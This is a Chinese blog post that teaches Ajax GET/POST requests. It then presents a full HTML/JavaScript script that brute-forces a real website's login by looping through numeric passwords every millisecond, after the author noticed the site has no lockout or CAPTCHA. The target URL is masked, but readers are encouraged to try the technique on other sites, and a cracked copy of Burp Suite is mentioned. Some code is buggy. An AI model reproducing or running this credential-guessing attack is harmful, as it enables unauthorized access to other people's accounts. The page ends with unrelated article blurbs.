用Ajax来get,post数据实现【轻量而高效的】暴力破解
在.Net环境中,我们常常使用HttpRequest,HttpResponse来发送,交换数据,这个相信不少朋友都用过。但这种方法对于Ajax来说就过于重量级了。
可以使用Web,Winform,Console版本,后者效率较高一点,前段时间,园子里有位朋友也做了个【把骗子玩了一把】的示例。
【它山之石】:
今天把骗子耍了一把 - 翟士丹 Stan Zhai - 博客园
http://www.cnblogs.com/jasondan/archive/2013/09/13/3319853.html
在.Net中调用各种类库,的确很方便,如果没能够做到多线程的话,效率也是很低的,另一方面,它严重依赖.Net平台。。。
近来,刚刚开始接触Ajax,主要练习两个方法 get,post:
XMLHttpRequestGet
复制代码
<script type="text/javascript">
var urlGet = "http://XXXX/login.aspx?"+Math.random(); //get方式提交,加上随机数,避免浏览器缓存而304;
var xmlhttpGet;
var returnData;
if (window.XMLHttpRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari
xmlhttpGet=new XMLHttpRequest();
}
else
{// code for IE6, IE5
xmlhttpGet=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange=function()
{ <!-- xmlhttp.readyState有4种状态,0-未初始化,1-读取中,2-已读取,2-交互中,4-完成; -->
<!-- status为服务器返回的状态码,200-成功 -->
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
returnData=xmlhttp.responseText;
alert(returnData);
}
}
xmlhttp.open("GET",urlGet,true);
xmlhttp.send();
</script>
复制代码
XMLHttpRequestPost
复制代码
<script type="text/javascript">
var url="http://xxxx/login.ashx; //post方式,浏览器不会缓存,这里不再需要随机参数
var xmlhttpPost;
var returnData;
var toSendData="loginId=xxx&passWord=boy"; //这里是要post的数据,用&号分隔
if (window.xmlhttpPostRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari
xmlhttpPost=new xmlhttpPostRequest();
}
else
{// code for IE6, IE5
xmlhttpPost=new ActiveXObject("Microsoft.xmlhttpPost");
}
xmlhttpPost.onreadystatechange=function()
{
if (xmlhttpPost.readyState==4 && xmlhttpPost.status==200)
<!-- xmlhttpPost.readyState有4种状态,0-未初始化,1-读取中,2-已读取,2-交互中,4-完成; -->
<!-- status为服务器返回的状态码,200-成功 -->
{
<!-- returnData=document.getElementById("txtHint").innerHTML=xmlhttpPost.responseText; -->
returnData=xmlhttpPost.responseText;
alert(returnData);
}
}
xmlhttpPost.open("post",url,true);
<!-- post数据时,这句话是必须的: -->
xmlhttpPost.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
xmlhttpPost.send(toSendData);
</script>
复制代码
无尽插柳,柳成荫
看了那篇【今天把骗子玩了一把】的文章加上学习了上面那两个方法之后,想找个什么网站来GET,POST数据玩一玩,于是找到了某网站的一个账号登录页,用Fiddle抓包看了一下,发现,登录时,即使密码错误多次,它都不会把你列为黑名单。。也没有验证码的~~~登录的时候,只要要提供几个参数就可以了,以下为暴力破解的示例,
【为了防止搞跨服务器,我把敏感URL处理了~~各位了解原理后,可以找一些其他网站试试~~切勿做坏事哦,后果自负~~~】
复制代码
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title></title>
</head>
<body>
<p id="time"></p>
<p id="endtime"></p>
<p id="txtHint"></p>
<p id="curPwd"></p>
<p id="ok"></p>
<button onclick="startTask()">startTask</button>
<button onclick="stopTask()">stopTask</button>
<script type="text/javascript">
document.getElementById("time").innerHTML = new Date();
var __VIEWSTATE=null;
var loginName=手机号码;
var pwd=100000;
var timerid = null; //用来做定时器
function stopTask() {
clearInterval(timerid);
}
function startTask() {
timerid = window.setInterval( //达到循环调用的效果;
//while(true) //与.Net环境不同,用while,直接卡死
//{
function startCrack()
{
var urlGet = "http:XXXXX/login.xxx?"+Math.random(); //get方式提交,加上随机数,避免浏览器缓存而304;
var urlPost = "http:XXXXX/login.xxx";
var returnData;
var xmlHttpGet;
var xmlHttpPost;
if (window.XMLHttpRequest) { //code for IE7+,Firebox,Chrome,Opera,Safari
xmlHttpGet = new XMLHttpRequest();
xmlHttpPost = new XMLHttpRequest();
}
else {
xmlHttpGet = new ActiveXObject("Microsoft.XMLHTTP");
xmlHttpPost = new ActiveXObject("Microsoft.XMLHTTP");
}
xmlHttpGet.onreadystatechange = function ()
{
if (xmlHttpGet.readyState == 4) //get方式,获取__VIEWSTATE
{
if (xmlHttpGet.status == 200) //在VisualStudio中运行不能起作用的,异域问题?
{
e = document.createElement('div');
e.style.display="none";
e.innerHTML = xmlHttpGet.responseText;
document.body.insertBefore(e,null);
//alert(document.getElementsByName('__VIEWSTATE')[0].value);
__VIEWSTATE=document.getElementsByName('__VIEWSTATE')[0].value;
xmlHttpPost.onreadystatechange = function () //post方式,提交表单数据;
{
if (xmlHttpPost.readyState == 4)
{
document.getElementById("curPwd").innerHTML=pwd;
if (xmlHttpPost.status == 200)
{
//document.getElementById('ok').innerHTML=xmlHttpPost.responseText;
document.getElementById("time").innerHTML = new Date();
if (xmlHttpPost.status == 302) //密码正确后,返回302,但无法进入到这一句;
{
document.getElementById("time").innerHTML = new Date();
alert("scucess! Pw is:"+pwd);
clearInterval(timerid); //执行后,达不到马上停止的效果,这里暂时用多句来减缓,要改善
clearInterval(timerid);
clearInterval(timerid);
clearInterval(timerid);
clearInterval(timerid);
clearInterval(timerid);
}
}
}
}
xmlHttpPost.open("post", urlPost, true);
xmlHttpPost.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); //post方式要设置httpHeader的类型;
var toSendData = "__VIEWSTATE="+encodeURIComponent(__VIEWSTATE)+"&edtUserCode="+loginName+"&edtPWD="+pwd+"&ddlbLoginMode=xxxxxxx&btnLogin=%B5%C7%C2%BC";
xmlHttpPost.send(toSendData);
pwd++;
}
}
}
xmlHttpGet.open("GET", urlGet, true);
xmlHttpGet.send();
}
, 1 //单位是ms;
);
}
</script>
</body>
</html>
复制代码
万事俱备,只欠东风。。。
现在,把上面的代码修改一下保存为HTML文件,在IE浏览器中运行便可以看到效果(CPU差的慎测,小心卡住,没响应~~)
【问题0】非IE不能获取服务器返回的数据,【跨域】问题?请老鸟说一说!
【问题1】上面有个缺憾是,当验证密码通过(用Fiddle抓包可以看到状态码为:302)之后,它不能检查到,所以跳不出来。。。
【问题2】上面是用window.setInterval(XX,1)来达到循环调用的,但用 clearInterval(timerid);来清除,往往不能马上停止,用什么方法比较好解决?
百家争鸣
如今,Web技术很多,就拿简单的HTTP,GET,POST数据来说,可以用.Net,Java等,或者直接用第三方Web安全检测工具,如著名的:burpsuitepro_v1.4_professional_cracked,可以很快地实现GET,POST数据。
但说到轻量级的,有与Javascript为辅助的Ajax争锋么?一个3KB左右的文件,加上一个IE6以上的浏览器,就可以实现了,如果处理一下上面的那个【问题0】,兼容其它浏览器的话,还可以做到跨平台了哦~~~一次编写,到处运行~~~
此文纯属抛砖引玉,望各位不要见笑,期望你们的精彩回复!群策群力,解决上面提到的那几个问题。
相关推荐
PHP笔试概念题
涵盖2012各大公司笔试题,2013找工作必备
Ubuntu VPS部署Artillery高交互蜜罐实战指南
蜜罐是网络安全中用于诱捕与分析攻击行为的关键技术,其核心在于模拟真实服务以捕获完整攻击链路。高交互蜜罐区别于传统低交互方案,能响应动态请求、解析HTTP/2、记录浏览器指纹与TLS握手细节,从而支撑精准威胁溯源。Artillery作为轻量级协议层镜像引擎,依托Node.js实现YAML驱动的行为建模,天然适配Ubuntu系统的eBPF支持、systemd服务管理与APT生态,特别适合在ARM64架构VPS上稳定运行。本文聚焦生产级裸金属部署,覆盖环境净化、Node.js精准安装、systemd守护进程配置及
HAProxy四层负载均衡加固WordPress高可用集群
负载均衡是保障Web应用高可用与安全性的基础架构能力,其核心在于传输层(Layer 4)的连接分发与健康管控。相比应用层代理,四层负载均衡器如HAProxy不解析HTTP语义,具备低延迟、高稳定性及强隔离性,特别适用于老旧环境(如Ubuntu 14.04)下的WordPress集群部署。它通过TCP连接管理、细粒度健康检查、SSL卸载与连接熔断等机制,有效防御雪崩故障、慢查询拖垮、单点入侵等典型风险。在真实生产中,HAProxy不仅承担流量调度职能,更作为第一道防线实现登录限速、XML-RPC拦截、恶意路径
IoT设备安全审计实战:从固件解包到路由器goform接口漏洞挖掘
在嵌入式系统与物联网安全领域,固件安全分析是评估设备安全性的基础环节。其核心原理在于通过逆向工程手段,深入分析设备固件中的二进制代码,以识别潜在的安全风险。这项技术的价值在于能够系统性发现厂商未公开的漏洞,提升设备整体安全性,尤其适用于路由器、摄像头等广泛部署的IoT设备。典型的应用场景包括对设备Web管理后台、配置接口进行深度代码审计。本次分析聚焦于路由器中常见的`/goform`接口,该接口是处理前端请求的核心,常因输入验证不严而存在**命令注入**等高危漏洞。通过结合**静态逆向分析**与动态调试,可
Ubuntu 18.04下OpenLiteSpeed+WordPress高性能部署指南
OpenLiteSpeed 是一款基于事件驱动架构的轻量级 Web 服务器,其核心优势在于 LSAPI 模块与 PHP 的内存级集成,显著降低请求延迟并规避传统 FastCGI 的多次内核态切换。相比 Nginx+PHP-FPM 组合,它在老旧系统(如 Ubuntu 18.04)上具备更强的兼容性、更优的缓存控制能力(LSCache)以及更健壮的故障兜底机制。该方案特别适用于资源受限、内核/库版本陈旧但需长期维稳的生产环境,如企业内网、树莓派服务器或遗留 VPS。技术价值体现在 TTFB 降低 70%+、后


